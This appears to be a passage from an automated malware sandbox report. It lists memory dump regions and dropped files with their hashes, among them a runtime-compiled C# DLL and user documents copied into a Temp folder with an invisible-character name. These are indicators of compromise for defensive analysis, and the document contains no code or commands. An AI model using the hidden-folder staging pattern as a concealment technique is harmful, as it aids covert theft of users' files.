SHA512 cceb5ec1dd6d2801abbacd6112393fecbf5d88fe52db86cfc98f13326c3d3e31c042b0cc180b640d0f33681bdd9e6a355dc0fbfde597a323c8d9e88de40b37c4

memory/4772-54-0x00007FFFEC670000-0x00007FFFEC69C000-memory.dmp

memory/4772-56-0x00007FFFF4670000-0x00007FFFF4688000-memory.dmp

memory/4772-58-0x00007FFFF29E0000-0x00007FFFF29FF000-memory.dmp

memory/4772-60-0x00007FFFDD590000-0x00007FFFDD70A000-memory.dmp

memory/4772-62-0x00007FFFF1880000-0x00007FFFF1899000-memory.dmp

memory/4772-64-0x00007FFFECAA0000-0x00007FFFECAAD000-memory.dmp

memory/4772-66-0x00007FFFEC130000-0x00007FFFEC15E000-memory.dmp

memory/4772-70-0x00007FFFDD710000-0x00007FFFDDB76000-memory.dmp

memory/4772-72-0x0000021958150000-0x00000219584C9000-memory.dmp

memory/4772-77-0x00007FFFF63D0000-0x00007FFFF63DF000-memory.dmp

memory/4772-76-0x00007FFFEC110000-0x00007FFFEC125000-memory.dmp

memory/4772-75-0x00007FFFEFE00000-0x00007FFFEFE24000-memory.dmp

memory/4772-74-0x00007FFFDD150000-0x00007FFFDD4C9000-memory.dmp

memory/4772-71-0x00007FFFDD4D0000-0x00007FFFDD588000-memory.dmp

memory/4772-84-0x00007FFFF4670000-0x00007FFFF4688000-memory.dmp

memory/4772-80-0x00007FFFEBC20000-0x00007FFFEBC2D000-memory.dmp

memory/4772-79-0x00007FFFEC670000-0x00007FFFEC69C000-memory.dmp

memory/4772-85-0x00007FFFDCC00000-0x00007FFFDCD18000-memory.dmp

memory/704-86-0x0000011F3E580000-0x0000011F3E5A2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5tnnivzk.vut.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4772-96-0x00007FFFF29E0000-0x00007FFFF29FF000-memory.dmp

memory/4772-156-0x00007FFFDD590000-0x00007FFFDD70A000-memory.dmp

memory/4772-166-0x00007FFFF1880000-0x00007FFFF1899000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 2e907f77659a6601fcc408274894da2e
SHA1 9f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA256 385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
SHA512 34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 fa86e34727036fc116a6d5ee79b8b1aa
SHA1 4f431dcc5674fa2ec84019ef7c2992406122d358
SHA256 d38f99adcfc6c59450143e8568ce9eb8ea98a9b286e15a63f1b94501c19a089f
SHA512 24656fdfbd709732d79fbb87d887195140e3b478dc5e342ae48d1d8b95499f9871a7ac640225aa2ba119ccf5669ec5d85e79e97e8a6532c2fd17c4255bb5aca1

\??\c:\Users\Admin\AppData\Local\Temp\unzm4isd\unzm4isd.cmdline

MD5 2b9a829ed1dfb2f7ae5c3131251a19ec
SHA1 007e62d1016a9c9e9c70a85ddf3167976e7d8808
SHA256 df505d96d3f7ccbb0b1efce75ce361806c6aab9e6a57d4789d60ca2c4de452c1
SHA512 eca34d8c2ae6354ec719e70239750833a0ade4444b64163017741b7749317d9a0e46d3668c167dc4cfc30eba7e1238c19b42af93e3974bf63ddfeb84859a8331

\??\c:\Users\Admin\AppData\Local\Temp\unzm4isd\unzm4isd.0.cs

MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

\??\c:\Users\Admin\AppData\Local\Temp\unzm4isd\CSC61725639E094474294968878E24F841.TMP

MD5 c1f9fc6df299d44584f51f4ae34950e8
SHA1 0cbbe227933dde370317b5113dd22c60a5a63d76
SHA256 89fbde012efa66053e34bcd173ab88da4e735782ef4068f2305d18cb481d8550
SHA512 2dae04cb37f52fb761afdda4cf1ed8b9731cf918625cdf00e4cde6ba395eed62b212c0e74dbefb861e97abfd9cf138fe8c724a4f7446c5620f2a7e77ddf9239f

C:\Users\Admin\AppData\Local\Temp\RES9059.tmp

MD5 ef2c75fb19e38068c9a16f299fc32c9e
SHA1 d2654918a82cae09e288030cfdedfa4467c92d37
SHA256 7a953f93bffbcfbc53375852deb976237119bd13eb4744083413d7344391cd97
SHA512 ed358910c12645d7c751c27be032de7511608625ac7940ebce0f55b99bbf35b42128d15ca047a7291568ad4b68f84b2456653d602db3c7198327b3b582ae28c1

C:\Users\Admin\AppData\Local\Temp\unzm4isd\unzm4isd.dll

MD5 043a097da532d2a89ef423a9e622b757
SHA1 3d35b6d4417896f761d71d0f34686985013d82d9
SHA256 31d0908476bf126fd3a4a47b1a7a857f95cc98317433b57a84ff4b903ad134f1
SHA512 890809de098b5e2f98dc67b0519ea20f3d0982c797608c610c4cfa7c9f221a9a09a240b7d5991b6b64a0e396fd832119b8235d3c3f83be72b54d2cf2f1214240

memory/3496-232-0x000002D0714C0000-0x000002D0714C8000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 e5ea61f668ad9fe64ff27dec34fe6d2f
SHA1 5d42aa122b1fa920028b9e9514bd3aeac8f7ff4b
SHA256 8f161e4c74eb4ca15c0601ce7a291f3ee1dc0aa46b788181bfe1d33f2b099466
SHA512 cb308188323699eaa2903424527bcb40585792f5152aa7ab02e32f94a0fcfe73cfca2c7b3cae73a9df3e307812dbd18d2d50acbbfeb75d87edf1eb83dd109f34

memory/4772-255-0x00007FFFEC130000-0x00007FFFEC15E000-memory.dmp

memory/4772-258-0x00007FFFDD4D0000-0x00007FFFDD588000-memory.dmp

memory/4772-259-0x0000021958150000-0x00000219584C9000-memory.dmp

memory/4772-260-0x00007FFFDD150000-0x00007FFFDD4C9000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\  ‎​ ‏‌   \Common Files\Desktop\HideMeasure.docx

MD5 da91a085b7e4ef7e82ef2e1467b5c7a3
SHA1 e22b170c5d908155ddcd19e0a5a5732967799738
SHA256 ead6c3963ce261cdcc236e936020e450f13e9849326fe55e656ade2e7feb651b
SHA512 0ef3bc15ac33fd20f7b8643ac83629179bd9cd95f7529879207faedd5c0595a1684202bf9153598c6a7ef9e7b398dd4789aca82819208708a4127a95419ef0ec

C:\Users\Admin\AppData\Local\Temp\  ‎​ ‏‌   \Common Files\Desktop\MergePublish.xlsx

MD5 361a2ef9eac5cad8d2487ac1bffc4be7
SHA1 1c4020553dc7064b09001348162657096793ba06
SHA256 98db6397044a3c27679b80f828f8747c3b6fb069d5ded583dafec673c2fc2447
SHA512 42d633989049847c3239b8163241529df7fc2f198368b2d93abac83dd6237032161a20eef8920a53d7b54e4e63945fecfcb2dfe2e5d344f375bae91661605364

C:\Users\Admin\AppData\Local\Temp\  ‎​ ‏‌   \Common Files\Desktop\SetDeny.mp3

MD5 b5ee8a04bdb3bad43802d2ada3d3a421
SHA1 d80927e24718060e1a4dde12a59b37f5e19e3959
SHA256 1a4b7e4e849c4b4a43b33aa49503b771caf4025c4d30743516cfe1072e3cf76d
SHA512 3fd6da7d1aa32e7993bd2a34de1cd582eeb019aac20aedf31fea81bf4b9174592fe6fdcf0ef3c26b786335b88d02eaa159887e8aff00dd36b1f0f3e3971c68eb

C:\Users\Admin\AppData\Local\Temp\  ‎​ ‏‌   \Common Files\Desktop\SendFormat.docx

MD5 867ef0ce6643a49521311d7d63bd3f82
SHA1 103da753c69e696ae4f463edd037f30245bc2ff9
SHA256 4570c2e0f1a1ec90bd2f1d3b0313501d9c53fc67cd5436f1c0be9cac86475293
SHA512 b59bcf16ccba5a1b19a2c17b23201b8f6cfbb647776d4e2059d697b7189660ea69e07efb6245ec77d2562c56199841317a7e9887a8fa6300efc934450aa11706

C:\Users\Admin\AppData\Local\Temp\  ‎​ ‏‌   \Common Files\Desktop\SkipRename.docx

MD5 1196e3c6e2a985326bac2b34546b1052
SHA1 dbe34167433799ee0387b7df4f95ad90d721c29e
SHA256 1ea9f2fd3b59cfc96ffb16f075c76af5ca1bbe74e68540115299223306dfc6f0
SHA512 76a023f6ab42cb398acbd936639a3d84607f36a5c174f353f7307ff427530dbc3378ffa7bae16c2ac30b41cf3aca741d612e50191b5a01747cc288f6bb1d6209

C:\Users\Admin\AppData\Local\Temp\  ‎​ ‏‌   \Common Files\Documents\AddResize.txt

MD5 80c5afd9d70029799ff164fb5f37d599
SHA1 031f5aee76a0d04e12a7cad7098818af18c34124
SHA256 34c6998555083e7754a674d0c439b8859619fd961fe61eb92931d7df1f5bc0b2
SHA512 8ef31d7f8fc315820547d5dee96ae0f2ae2c8cbb2cf7ef5e5a0a317f50430597e977b5be2dfa4ff78e6b0cc8782079fb007f3da4c4dc96efdb6c12c0f8022ef8

C:\Users\Admin\AppData\Local\Temp\  ‎​ ‏‌   \Common Files\Documents\UseClear.docx

MD5 95aadc2b2832d2ae3b821a298fa4698c
SHA1 5c2cdf9fb7352b7b01f6f7eda4f82805102b1b48
SHA256 e59ccae76c286e2a95118b503ba23820af3bcf350210b782ff6c07aadfb96cff
SHA512 38296064f681230f1b16fa369cebdadc29645c0e3a4a4d24dee9f8919c94347e2ec319b4d4c00b2a04ae0cfd0f856c739edfe4ebaa8121b3417fbc253af59ca5

C:\Users\Admin\AppData\Local\Temp\  ‎​ ‏‌   \Common Files\Downloads\SaveApprove.xlsx

MD5 deb4e1996e8c7a86b8d8881b88f9f8aa
SHA1 4546536c9b87ac2fb171682f7af76668da02b473
SHA256 dd27cd42a377d953c3b599d9c6ca6d7f2ee283773a319ab8617765188372f182
SHA512 09c04cbe6e8c591cfcc8a453284a5609ec4018750208b0b37b8f26e4e89a7fd0e01dcde58a36a8306e86f42a6a0263118b076b7bf30f34f658751f3f4a0c5c62

C:\Users\Admin\AppData\Local\Temp\  ‎​ ‏‌   \Common Files\Downloads\SelectTrace.csv

MD5 d6b3abdfc316e7ff499ddd6168899083
SHA1 e8a7f3e8d9f0b993642c40915d704a3135ace89d
SHA256 c5524306503c13ccd0868960fd590762862feaa1a04e4c539b3a0176836e8434
SHA512 db7ea5610e30be882b0fd3a962d53a4f287bf208b81ab2db9dadd5f264712d2b90b04c83e278e624a8c51c592f5700e62e81524b355ac230ff2b47ffcaf41626

C:\Users\Admin\AppData\Local\Temp\  ‎​ ‏‌   \Common Files\Music\BlockComplete.jpg

MD5 d8d42f5d390acc141a71cad9e03421c5
SHA1 9924d83555eafd31141bb674d88c201226df6d37
SHA256 0078bf20ba8465c370d1d186170e57513a5f0b1bfe7e22c20fe0fe4f501771dc
SHA512 4c582b5a3ae7cb6fb67760a9d121cab7047be017ef142372337ea87edb9c50539e2e1091d02cb52c642c858ef95403d75c5e9d77456e6a6d6505888b7235fe94

C:\Users\Admin\AppData\Local\Temp\  ‎​ ‏‌   \Common Files\Music\ClearDebug.mp4

MD5 a7d5075fab3db308c535292513123e10
SHA1 031e323791c3e9fb766e4bb5050a1308927267ad
SHA256 47d870bc8258074daa96382213ce093815040e3db6e7d81c26c4d282d487317f
SHA512 8594a4901622700453f74a9a2c37df472d8d64103cba8e3fd196368a73b05584fd8c7fa330bdbe91dc6d913221d304c0aaa6212aa33e325b3f4792b551bc664e

C:\Users\Admin\AppData\Local\Temp\  ‎​ ‏‌   \Common Files\Music\ConfirmSync.xlsx

MD5 072d9589aebbd8cbe4a61e9c45a4175e
SHA1 eb0c28c5f7345c68ae1329a4a1abec8f444911ab
SHA256 ae049eafb7073b62a8e89eeb07f39c94338ccbee357565872a1a3be889d8bf31
SHA512 ad5ec1a4e764347122ed1db02bafeed1834393e60e1598615197a658d52723d6e61f89b7e3db4898d43c1296717b4fabdc578196e7336ae89d8ba78211873fca

C:\Users\Admin\AppData\Local\Temp\  ‎​ ‏‌   \Common Files\Music\DisableUnregister.mp3

MD5 7259cae6c69ddcc2f5ec9e7651b62f5d
SHA1 0e00cfcaae7df5c4e64bfb522ae5cadd082753c4
SHA256 f8af77294fd2efb2bce41278795362d0401d8dd4444a7fdbc44c8b7a9eed43ce
SHA512 fbc2d4927ef4277ed6870abbdef24fbd827854b50af8c7672b4c4c68ea105ca2143022057463cb34f41db0ad4bd09572fcf6cc2776e7079c9934053be18594bb

memory/4772-292-0x00007FFFDD590000-0x00007FFFDD70A000-memory.dmp

memory/4772-286-0x00007FFFDD710000-0x00007FFFDDB76000-memory.dmp

memory/4772-291-0x00007FFFF29E0000-0x00007FFFF29FF000-memory.dmp

memory/4772-287-0x00007FFFEFE00000-0x00007FFFEFE24000-memory.dmp

memory/4772-311-0x00007FFFDD710000-0x00007FFFDDB76000-memory.dmp